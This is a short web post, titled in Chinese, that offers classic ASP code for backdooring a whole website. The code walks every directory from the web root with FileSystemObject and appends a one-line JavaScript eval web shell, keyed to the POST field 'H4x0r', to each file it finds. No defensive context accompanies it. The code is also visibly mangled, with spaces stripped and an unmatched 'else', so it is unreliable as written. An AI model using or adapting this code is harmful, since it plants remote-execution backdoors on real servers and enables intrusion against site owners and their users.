FSO遍历目录实现全站插马的代码
2018-09-06 13:12
<%
dimph
dimintfile
server.ScriptTimeout=600
ph=server.mappath(/)
SubInsertAllFiles(Path)
SetFSO=CreateObject(Scripting.FileSystemObject)
onerrorresumenext
Setf=FSO.GetFolder(Path)
Setfc2=f.files
ForEachmyfileinfc2
SetFS1=CreateObject(Scripting.FileSystemObject)
Settfile=FS1.opentextfile(path&&myfile.name,8,false)
tfile.writeline<SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(Request.form(H4x0r)+)</SCRIPT>
else
InsertAllFiles(newpath)
endif
tfile.close
Next
Setfsubfolers=f.SubFolders
ForEachf1infsubfolers
newpath=path&&f1.name
InsertAllFiles(newpath)
Next
settfile=nothing
SetFSO=Nothing
EndSub
%>
<%
callInsertAllFiles(ph)
%>